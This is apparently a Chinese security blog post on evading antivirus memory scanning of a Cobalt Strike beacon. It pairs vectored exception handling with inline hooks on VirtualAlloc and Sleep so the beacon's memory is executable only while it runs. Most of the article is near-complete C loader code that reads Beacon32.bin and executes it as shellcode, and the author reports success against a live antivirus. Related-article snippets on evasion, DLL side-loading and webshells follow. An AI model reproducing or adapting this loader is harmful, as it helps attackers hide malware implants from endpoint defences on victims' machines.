<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    通過VEH異常處理規避內存掃描實現免殺

    VSole2021-10-29 06:50:59

    windows異常處理

    Windows中主要的異常處理機制:VEH、SEH、C++EH。

    SEH中文全稱:結構化異常處理。就是平時用的__try __finally __try __except,是對c的擴展。

    VEH中文全稱:向量異常處理。一般來說用AddVectoredExceptionHandler去添加一個異常處理函數,可以通過第一個參數決定是否將VEH函數插入到VEH鏈表頭,插入到鏈表頭的函數先執行,如果為1,則會最優先執行。

    C++EH是C++提供的異常處理方式,執行順序將排在最后。

    在用戶模式下發生異常時,異常處理分發函數在內部會先調用遍歷 VEH 記錄鏈表的函數, 如果沒有找到可以處理異常的注冊函數,再開始遍歷 SEH 注冊鏈表。

    Windows異常處理順序流程

    ?終止當前程序的執行

    ?調試器(進程必須被調試,向調試器發送EXCEPTION_DEBUG_EVENT消息)

    ?執行VEH

    ?執行SEH

    ?TopLevelEH(進程被調試時不會被執行)

    ?執行VEH

    ?交給調試器(上面的異常處理都說處理不了,就再次交給調試器)

    ?調用異常端口通知csrss.exe

    通過流程也可以看到VEH的執行順序是要優于SEH的。

    通過VEH異常處理規避內存掃描

    當AV描掃進程空間的時候,并不會將所有的內存空間都掃描一遍,只會掃描敏感的內存區域。

    所謂的敏感內存區域無非就是指可執行的區域。思路就是不斷地改變某一塊內存屬性,當應該執行命令或者某些操作的時候,執行的內存屬性是可執行的,當功能模塊進入睡眠的時候則將內存屬性改為不可執行。

    當執行的地址空間為不可執行時,若強行執行則會返回0xc0000005異常,這個異常是指沒有權限執行。所以通過VEH抓取這個異常,即可根據需求,動態的改變內存屬性,進而逃避內存掃描。

    當觸發0xc0000005異常的時候需要恢復內存可執行屬性,就通過AddVectoredExceptionHandler去注冊一個異常處理函數,作用就是更改內存屬性為可執行。那么就需要知道是哪一塊地址需要修改,這里要根據申請空間API決定,如果是VirtualAlloc就hook VirtualAlloc,如果是其他申請空間API就hook其他API,這個根據具體的c2profile配置有關。如果不使用c2profile那么默認就是使用VirtualAlloc分配空間。這里先看一下hook VirtualAlloc,作用主要是為了讀取起始地址和大小。

    static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
    LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
        unhookVirtualAlloc();
        Beacon_len = dwSize;
        Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
        hookVirtualAlloc();
        printf("分配大小:%d", Beacon_len);
        printf("分配地址:%x ", Beacon_address);
        return Beacon_address;
    }
    void hookVirtualAlloc() {
        DWORD dwAllocOldProtect = NULL;
        BYTE pAllocData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
        //保存原來的硬編碼
        RtlCopyMemory(g_OldAlloc, OldVirtualAlloc, sizeof(pAllocData));
        //計算偏移
        DWORD dwAllocOffeset = (DWORD)NewVirtualAlloc - (DWORD)OldVirtualAlloc - 5;
        //得到完整的pAllocData
        RtlCopyMemory(&pAllocData[1], &dwAllocOffeset, sizeof(dwAllocOffeset));
        //改為可寫屬性
        VirtualProtect(OldVirtualAlloc, 5, PAGE_READWRITE, &dwAllocOldProtect);
        //將偏移地址寫入,跳轉到新的
        RtlCopyMemory(OldVirtualAlloc, pAllocData, sizeof(pAllocData));
        //還原屬性
        VirtualProtect(OldVirtualAlloc, 5, dwAllocOldProtect, &dwAllocOldProtect);
    }
    void unhookVirtualAlloc() {
        DWORD dwOldProtect = NULL;
        VirtualProtect(OldVirtualAlloc, 5, PAGE_READWRITE, &dwOldProtect);
        //還原硬編碼
        RtlCopyMemory(OldVirtualAlloc, g_OldAlloc, sizeof(g_OldAlloc));
        //還原屬性
        VirtualProtect(OldVirtualAlloc, 5, dwOldProtect, &dwOldProtect);
    }
    

    還有一個需要去hook的就是Sleep,因為需要在執行Sleep的時候就將功能模塊的內存屬性改為不可執行,規避內存掃描。

    static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
    void WINAPI NewSleep(DWORD dwMilliseconds) {
        if (Vir_FLAG)
        {
            VirtualFree(shellcode_addr, 0, MEM_RELEASE);
            Vir_FLAG = false;
        }
        printf("sleep時間:%d", dwMilliseconds);
        unhookSleep();
        OldSleep(dwMilliseconds);
        hookSleep();
        //解鎖
        SetEvent(hEvent);
    }
    void hookSleep() {
        DWORD dwSleepOldProtect = NULL;
        BYTE pSleepData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
        //保存原來的硬編碼
        RtlCopyMemory(g_OldSleep, OldSleep, sizeof(pSleepData));
        //計算偏移
        DWORD dwSleepOffeset = (DWORD)NewSleep - (DWORD)OldSleep - 5;
        //得到完整的pAllocData
        RtlCopyMemory(&pSleepData[1], &dwSleepOffeset, sizeof(dwSleepOffeset));
        //改為可寫屬性
        VirtualProtect(OldSleep, 5, PAGE_EXECUTE_READWRITE, &dwSleepOldProtect);
        //將偏移地址寫入,跳轉到新的
        RtlCopyMemory(OldSleep, pSleepData, sizeof(pSleepData));
        //還原屬性
        VirtualProtect(OldSleep, 5, dwSleepOldProtect, &dwSleepOldProtect);
    }
    void unhookSleep() {
        DWORD dwOldProtect = NULL;
        VirtualProtect(OldSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
        //還原硬編碼
        RtlCopyMemory(OldSleep, g_OldSleep, sizeof(g_OldSleep));
        //還原屬性
        VirtualProtect(OldSleep, 5, dwOldProtect, &dwOldProtect);
    }
    

    然后就是注冊異常函數,這個異常函數就是為了恢復可執行內存屬性。

    is_Exception函數就是為了驗證是不是在申請空間內的范圍呢出現異常,而不是其他內存空間。

    LONG NTAPI PvectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo){
        printf("異常錯誤碼:%x", ExceptionInfo->ExceptionRecord->ExceptionCode);
        printf("線程地址:%lx", ExceptionInfo->ContextRecord->Eip);
        if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(ExceptionInfo->ContextRecord->Eip) {
            printf("恢復可執行內存屬性");
            VirtualProtect(Beacon_address, Beacon_len, PAGE_EXECUTE_READWRITE, &Beacon_flOldProtect);
            return EXCEPTION_CONTINUE_EXECUTION;
        }
        return EXCEPTION_CONTINUE_SEARCH;
    }
    

    起一個線程,讓他不斷地去等待Sleep函數通知,通知后就將內存空間重新設置為不可執行。線程控制的話就用到了事件。

    DWORD WINAPI SetNoExecutable(LPVOID lpParameter) {
        while (true)
        {
            //等待解鎖
            WaitForSingleObject(hEvent, INFINITE);
            printf("設置Beacon內存屬性不可執行");
            VirtualProtect(Beacon_address, Beacon_len, PAGE_READWRITE, &Beacon_flOldProtect);
            //設置事件為未被通知的,重新上鎖
            ResetEvent(hEvent);
        }
    }
    int main()
    {
        //設置事件為有信號的,處于通知狀態。
        hEvent = CreateEvent(NULL,TRUE,false,NULL);
        AddVectoredExceptionHandler(1, &PvectoredExceptionHandler);
        hookVirtualAlloc();
        hookSleep();
        
        unsigned char* BinData = NULL;
        size_t size = 0;
        char* szFilePath = (char*)"Beacon32.bin";
        BinData = ReadBinaryFile(szFilePath, &size);
        shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
        memcpy(shellcode_addr, BinData, size);
        VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_flOldProtect);
        HANDLE hThread1 = CreateThread(NULL, 0, SetNoExecutable, NULL, 0, NULL);
        CloseHandle(hThread1);
        (*(int(*)()) shellcode_addr)();
        
    }
    

    這里有一個很混淆的地方:hook VirtualAlloc并不是去hook的上面這個我們自己調用的VirtualAlloc,這個是沒有意義的。hook的是cs自己調用的申請內存空間API,他自己分配的內存地址才是真正的beacon代碼地址,這里用下LN師傅的圖。圖中是stager分階段的執行過程,如果是stagerless無階段的執行過程也是差不多的,只不過沒有遠程去請求而是直接寫在文件里。而且他這個執行步驟是會將前面的代碼刪除的,比如說

    比如生成一個無階段的raw文件,然后跑一下

    會發現這里調用了兩次VirtualAlloc,實際上就是執行cs的代碼他自己會調用一次,這個地址才是真正的beacon代碼實現功能的地址,我們要改的內存屬性其實在這里。

    還可以看到他cs是執行完一段代碼,就釋放一段空間。

    執行前:

    執行后:

    他把之前部分內存已經free掉了。

    最后,找了個同學的物理機數字殺軟去看了下,上線是完全沒有問題的。(cs上線的圖當時忘了截,基礎命令可以執行)

    這里是實際環境下的數字殺軟,并不是虛擬機版本,殺毒力度是很強的,即便他認為內存空間沒有問題,但是當我執行敏感操作,比如遠程創建線程,他還是會直接彈出警告。所以即便已經把對抗做到內存,但是還是處處受限,上線只是一方面,能執行各種操作是另一方面,像LN前輩說的一樣,可能只有加白才是最后的歸宿。

    免殺異常處理
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Windows中主要的異常處理機制:VEH、SEH、C++EH。 SEH中文全稱:結構化異常處理。就是平時用的__try __finally __try __except,是對c的擴展。 VEH中文全稱:向量異常處理。一般來說用AddVectoredExceptionHandler去添加一個異常處理函數,可以通過第一個參數決定是否將VEH函數插入到VEH鏈表頭,插入到鏈表頭的函數先執行,如果為
    現在的shellcode分離,遠程內存加載已經很流行也比較實用了,基本被了改改又可以過,本篇分享下最近的一次的思路,主要是思路,遇到一個點如何去對下一步進行處理。用到的工具:1. VC6.0++. 不用分開單獨做,一個一個軟去做就行了火絨server.dat:爆后門病毒,myccl特征碼定位[特征] 0002E070_00000002. 無法確認定位的內容
    前言一種規避軟檢測的技術就是內存加密技術。最后,在實現內存加密的過程中,也發現了其中不足并提出改進的方法。它允許應用程序攔截并處理Windows消息或指定事件,當指定的消息發出后,hook程序就可以在消息到達目標窗口之前將其捕獲,從而得到對消息的控制權,進而可以對該消息進行處理或修改,加入我們所需的功能。IRP hook,一種內核層的hook技術,通過修改IRP結構體中某個成員變量指向自己的補丁函數來實現。
    代碼框架 想法是盡量用一個通用的注入框架,有異常接收,令牌權限開啟,獲取進程PID的功能
    0X01起源在攻防演練中通過運行惡意代碼連接C2是最常用的手段,但是由于對抗程度的提升。以360、天擎為代表的殺毒軟件針對信任鏈的檢測,已經變得愈來愈成熟。這里我們可以理解為,攻擊者通過利用"白加黑"這種攻擊方法。當攻擊者通過社工釣魚的手段,使得目標下載惡意的文件到目標自己的計算機上,并點擊運行白文件時,該文件會在運行時執行惡意DLL。
    Windows應急響應
    2021-11-15 12:48:10
    一旦中了勒索病毒,文件會被鎖死,沒有辦法正常訪問了,這時候,會給你帶來極大的困惱。為了防范這樣的事情出現,我們電腦上要先做好一些措施:1、安裝殺毒軟件,保持監控開啟,定期全盤掃描。把異常文件拖出來進行檢測,查看檢測結果。
    JSP Webshell的檢測工具
    2021-12-13 12:04:53
    在11月初,我做了一些JSP Webshell的研究,主要參考了三夢師傅開源的代碼。然后加入了一些代碼混淆手段,編寫了一個馬生成器JSPHorse,沒想到在Github上已收獲500+的Star
    藍隊初級防護總結
    2023-01-09 10:11:55
    三. 網站被上傳webshell如何處理?工具方面比如使用D盾webshellkill,河馬webshell查殺,百度在線webshell查殺等工具對網站目錄進行排查查殺,如果是在護網期間可以將樣本備份再進行查殺。堡壘機是針對內部運維人員的運維安全審計系統。WAFWAF是以網站或應用系統為核心的安全產品,通過對HTTP或HTTPS的Web攻擊行為進行分析并攔截,有效的降低網站安全風險。
    堡壘機是針對內部運維人員的運維安全審計系統。WAFWAF是以網站或應用系統為核心的安全產品,通過對HTTP或HTTPS的Web攻擊行為進行分析并攔截,有效的降低網站安全風險。設置賬戶鎖定策略,比如說登錄行為限制次數,達到次數后鎖定多長時間。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类